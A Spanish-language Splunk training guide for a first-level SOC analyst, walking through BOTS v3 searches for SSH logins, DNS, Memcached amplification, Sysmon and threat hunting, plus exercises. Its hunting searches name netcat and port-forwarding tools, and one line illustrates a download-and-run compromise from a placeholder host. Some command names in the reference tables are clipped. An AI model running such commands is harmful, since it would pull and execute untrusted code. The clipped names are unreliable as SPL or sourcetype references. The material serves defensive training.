Guía de Análisis de Seguridad con Splunk
Contexto: SOC Analyst
Eres analista de seguridad SOC Nivel 1 en el banco “Banco Nacional”. Tu trabajo es monitorear alertas, investigar eventos sospechosos y reportar incidentes al equipo de respuesta.
El dataset BOTS v3 representa los logs de tu banco durante un incidente de seguridad real. Tu eres el primero en revisar las alertas.
Nota sobre sourcetypes: Este dataset contiene logs de red (stream), Linux (syslog, linux_secure, osquery), AWS (cloudtrail, cloudwatch), y firewall Cisco ASA. No contiene Windows Event Log (EventCode 4624, 4625…). La autenticación se monitoriza via SSH en servidores Linux.
FASE 1: Conocer tu entorno
Antes de investigar, necesitas saber que hay en tu infraestructura.
1.1 ?Que sistemas están generando logs?
index=botsv3 | stats count by sourcetype | sort -count
Que ves: Todos los tipos de logs que llegan al SIEM. En tu banco: Esto sería tu “Asset Inventory” - saber que sistemas están monitoreados.
1.2 ?Que fuentes de datos tenemos?
index=botsv3 | stats count by source | sort -count
Que ves: Los archivos o sistemas específicos que generan logs. En tu banco: Saber si son servidores, firewalls, endpoints, etc.
1.3 ?Que hosts están reportando?
index=botsv3 | stats count by host | sort -count
Que ves: Los equipos/servidores que envían logs. En tu banco: Tu mapa de infraestructura activa.
1.4 Resumen general del tráfico
index=botsv3 | timechart span=1d count
Que ves: Volumen de eventos por día. En tu banco: Detectar picos inusuales de actividad.
FASE 2: Monitoreo de autenticación (Linux SSH)
La autenticación es lo primero que revisas como SOC analyst. En este dataset, los logs de autenticación son de servidores Linux via SSH.
2.1 Logins SSH exitosos
index=botsv3 sourcetype=linux_secure "Accepted password" | stats count by src_ip, user, host
Que ves: Quien se conecto por SSH, desde donde y a que servidor. En tu banco: Un empleado conectandose desde una IP inusual sería sospechoso.
2.2 Logins SSH fallidos (brute force)
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip, user | where count > 5
Que ves: IPs o usuarios con muchos intentos fallidos de SSH. En tu banco: Posible ataque de fuerza bruta contra servidores Linux.
2.3 Logins fuera de horario laboral
index=botsv3 sourcetype=linux_secure "Accepted password" | eval hour=strftime(_time, "%H") | where hour<8 OR hour>18 | stats count by user, src_ip, hour
Que ves: Conexiones SSH fuera de las 8am-6pm. En tu banco: Administrador conectandose a las 3am desde IP extraña = altamente sospechoso.
2.4 Usuarios con sudo (privilegios elevados en Linux)
index=botsv3 sourcetype=linux_secure "sudo" | stats count by user, host
Que ves: Quien ejecuta comandos con sudo. En tu banco: Auditar quien tiene acceso de administrador en servidores Linux.
2.5 Autenticación con clave pública (movimiento lateral)
index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host
Que ves: Conexiones SSH por clave pública entre servidores. En tu banco: Atacantes usan claves robadas para moverse entre servidores.
FASE 3: Análisis de Red
3.1 Top 20 IPs con más tráfico DNS saliente
index=botsv3 sourcetype=stream:dns | top limit=20 src_ip
Que ves: Que equipos están haciendo más consultas DNS. En tu banco: Un equipo haciendo muchas consultas DNS puede estar exfiltrando datos o comunicandose con C2.
3.2 DNS queries más frecuentes
index=botsv3 sourcetype=stream:dns | top limit=50 query
Que ves: Los dominios más consultados desde tu red interna. En tu banco: Dominios extraños o de reciente creación = posible command & control (C2).
3.3 Tráfico hacia puertos inusuales
index=botsv3 sourcetype=stream:tcp | top limit=20 dest_port
Que ves: Puertos de destino más usados. En tu banco: Puertos que no deberian estar abiertos (4444, 5555 = posibles backdoors).
Puertos sospechosos: 4444 (Metasploit), 11211 (Memcached amplification), 31337, 6666
3.4 Tráfico a Memcached (puerto 11211) - posible amplificación
index=botsv3 dest_port=11211 | stats count by src_ip, dest_ip | sort -count
Que ves: Quien envía tráfico al puerto Memcached y quien lo recibe. En tu banco: Este puerto no debería estar expuesto. Si ves tráfico saliente, alguien está haciendo amplification DDoS.
3.5 Volumen de amplificación Memcached
index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio
Que ves: El ratio de amplificación. Si out es 10.000x mayor que in, es un ataque. En tu banco: Los atacantes usan Memcached para amplificar tráfico hasta 50.000x.
3.6 Firewall - tráfico bloqueado
index=botsv3 sourcetype=cisco:asa | top limit=20 src_ip
Que ves: Las IPs que más tráfico generan hacía el firewall. En tu banco: Intentos de acceso no autorizado desde internet.
3.7 Firewall - conexiones permitidas vs bloqueadas
index=botsv3 sourcetype=cisco:asa | stats count by action
Que ves: Cuantos eventos fueron permitidos (ACCEPT) vs bloqueados (DENY/BLOCK). En tu banco: Si ves muchas denegaciones, alguien está escaneando tu red.
FASE 4: Análisis de Procesos (Endpoint)
4.1 Procesos más activos en servidores Windows
index=botsv3 sourcetype=PerfmonMk:Process | top limit=20 process_name
Que ves: Los procesos que más recursos consumen en servidores Windows. En tu banco: Procesos como svchost.exe, explorer.exe son normales. powershell.exe desde cuenta de usuario no.
4.2 Monitoreo de hosts Windows
index=botsv3 sourcetype=WinHostMon | stats count by host
Que ves: Que servidores Windows están reportando y cuantos eventos generan. En tu banco: Si un host deja de reportar, puede estar apagado… o comprometido.
4.3 Procesos creados (Sysmon)
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 | table _time, host, process_name, parent_process_name
Que ves: Procesos creados en endpoints Windows monitoreados por Sysmon. En tu banco: Un PowerShell lanzado por Office = sospechoso.
4.4 Conexiones de red desde procesos (Sysmon)
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3 | table _time, host, process_name, dest_ip, dest_port
Que ves: Procesos que hacen conexiones de red. En tu banco: Un proceso conectandose a una IP externa = posible C2.
4.5 Procesos en servidores Linux (osquery)
index=botsv3 sourcetype=osquery:results name=processes | stats count by host, name | sort -count | head 20
Que ves: Procesos detectados por osquery en servidores Linux. En tu banco: osquery monitorea procesos, puertos en escucha, conexiones.
4.6 Puertos en escucha en servidores Linux (osquery)
index=botsv3 sourcetype=osquery:results name=listening_ports | stats count by host, port, address
Que ves: Puertos abiertos en servidores Linux. En tu banco: Servicios no autorizados corriendo en puertos inusuales.
FASE 5: Threat Hunting (Caza de Amenazas)
5.1 Buscar descargas desde internet (Linux)
index=botsv3 sourcetype=bash_history "wget" OR "curl"
Que ves: Comandos wget/curl ejecutados en servidores Linux. En tu banco: Descarga de malware desde internet.
5.2 Buscar scripts ejecutados manualmente
index=botsv3 sourcetype=bash_history "chmod +x" OR "./" OR "sh " OR "bash "
Que ves: Archivos descargados y ejecutados. En tu banco: wget http://ip-sospechosa/malware.sh && chmod +x && ./malware.sh = compromiso.
5.3 Buscar movimientos laterales (SSH entre servidores)
index=botsv3 sourcetype=linux_secure "Accepted publickey" | stats count by user, src_ip, host
Que ves: Conexiones SSH por clave pública. En tu banco: Si el mismo usuario se conecta a 5 servidores en pocos minutos, alguien se está moviendo lateralmente.
5.4 Buscar exfiltración de datos via DNS
index=botsv3 sourcetype=stream:dns | stats count by query, src_ip | sort -count | head 30
Que ves: Dominios consultados y quien los consulta. En tu banco: Envío de datos codificados en consultas DNS = DNS tunneling.
5.5 Buscar cambios en archivos de configuración (Linux)
index=botsv3 sourcetype=bash_history "crontab" OR "/etc/" OR "systemctl"
Que ves: Comandos que modifican configuración del sistema. En tu banco: Anyadir un cronjob o modificar archivos de sistema = persistencia.
5.6 Buscar comandos de red sospechosos
index=botsv3 sourcetype=bash_history "nc " OR "ncat" OR "netcat" OR "nmap" OR "ssh -R" OR "ssh -L"
Que ves: Uso de herramientas de red. En tu banco: netcat, nmap, port forwarding = técnicas de atacante.
5.7 Buscar en texto libre (IOCs)
index=botsv3 "malware" OR "ransomware" OR "exploit" OR "payload" OR "backdoor"
Que ves: Eventos que mencionan términos de amenazas. En tu banco: Alertas de antivirus, DLP o IDS.
FASE 6: Investigación de Incidente
6.1 Timeline de un host específico
index=botsv3 host="gacrux.i-06fea586f3d3c8ce8" | timechart span=1h count by sourcetype
Que ves: Actividad de un equipo específico por hora. Cambia gacrux… por el host que quieras investigar. En tu banco: Reconstruir que paso en un equipo comprometido.
6.2 Eventos alrededor de un momento específico
index=botsv3 earliest="08/20/2018:15:00:00" latest="08/20/2018:16:00:00" | stats count by sourcetype
Que ves: Que paso en una hora específica del ataque. En tu banco: Investigar que ocurrio justo antes/después de un incidente.
6.3 Buscar tráfico de una IP específica
index=botsv3 src_ip="13.125.33.130" | stats count by sourcetype, dest_ip | sort -count
Que ves: Todo lo que hizo una IP en la red. Cambia la IP por la que quieras investigar. En tu banco: Investigación forense de una IP sospechosa.
6.4 Timeline del ataque Memcached
index=botsv3 dest_port=11211 | timechart span=5m count
Que ves: La actividad contra el puerto Memcached minuto a minuto. En tu banco: Ver la duración exacta y el volumen del ataque de amplificación.
6.5 Buscar en texto libre (todos los logs)
index=botsv3 "injected" OR "STORED" OR "ERROR"
Que ves: Eventos que contienen estos términos - claves del ataque Memcached. En tu banco: Los logs de red UDP contienen los comandos “set”, “get” e “injected” del ataque.
FASE 7: Dashboards y Reportes
7.1 Dashboard de autenticación (SSH)
index=botsv3 sourcetype=linux_secure "Failed password" | timechart span=1h count by src_ip
7.2 Dashboard de red (DNS)
index=botsv3 sourcetype=stream:dns | timechart span=1h count by query_type
7.3 Dashboard de procesos (Perfmon Windows)
index=botsv3 sourcetype=PerfmonMk:Process | top limit=10 process_name
7.4 Dashboard de tráfico bloqueado (Firewall)
index=botsv3 sourcetype=cisco:asa | timechart span=1h count by action
Comandos SPL de Referencia
Básicos
| Comando | Función |
|---|---|
| stats count | Contar eventos |
| op limit=N | Top N valores |
| imechart span=1h | Gráfico por hora |
| where | Filtrar condicionalmente |
| able | Mostrar en tabla |
| sort -count | Ordenar descendente |
| eval | Crear campo calculado |
| ename | Renombrar campo |
| dedup | Eliminar duplicados |
Sourcetypes disponibles en BOTSv3 (los más importantes para SOC)
| Sourcetype | Que contiene |
|---|---|
| syslog | Logs genericos de Linux |
| linux_secure | Autenticación SSH (logins, sudo, fallos) |
| stream:dns | Consultas DNS capturadas en red |
| stream:tcp | Tráfico TCP capturado en red |
| stream:udp | Tráfico UDP capturado en red |
| stream:http | Tráfico HTTP capturado en red |
| stream:ip | Tráfico IP genérico |
| cisco:asa | Logs de firewall Cisco ASA |
| ws:cloudtrail | API calls de AWS |
| ws:cloudwatchlogs | Logs de servicios AWS (VPC Flow, Lambda) |
| PerfmonMk:Process | Rendimiento de procesos en Windows |
| WinHostMon | Monitoreo de hosts Windows |
| osquery:results | Resultados de osquery (procesos, puertos) |
| ash_history | Historial de comandos bash en Linux |
| XmlWinEventLog:Microsoft-Windows-Sysmon/Operational | Sysmon (procesos, conexiones) |
Ejercicios Practicos
Ejercicio 1: Detectar SSH brute force
Busca IPs con más de 10 intentos de SSH fallidos.
index=botsv3 sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10
Ejercicio 2: Encontrar la IP atacante de Memcached Busca la IP que envía tráfico al puerto 11211 y calcula el ratio de amplificación.
index=botsv3 dest_port=11211 | stats sum(bytes_in) as in, sum(bytes_out) as out by src_ip | eval ratio=round(out/in, 0) | sort -ratio
Ejercicio 3: Reconstruir un incidente
Elige un host sospechoso (como la victima del Memcached: 10.10.10.178) y crea un timeline.
index=botsv3 dest_ip="10.10.10.178" | timechart span=5m count by sourcetype
Ejercicio 4: Dominios sospechosos en DNS
Busca dominios que no parezcan legitimas en las consultas DNS.
index=botsv3 sourcetype=stream:dns query=*bit* OR query=*coin* OR query=*pool* OR query=*miner* | stats count by query
Ejercicio 5: Reporte de incidente
Escribe un reporte de 1 página sobre el ataque Memcached que encuentres en los datos. Incluye:
- IP atacante, IP victima
- Puerto utilizado
- Volumen de datos
- Timeline del ataque
- Recomendaciones
Documento actualizado el 06/06/2026 - Busquedas validadas con BOTSv3 real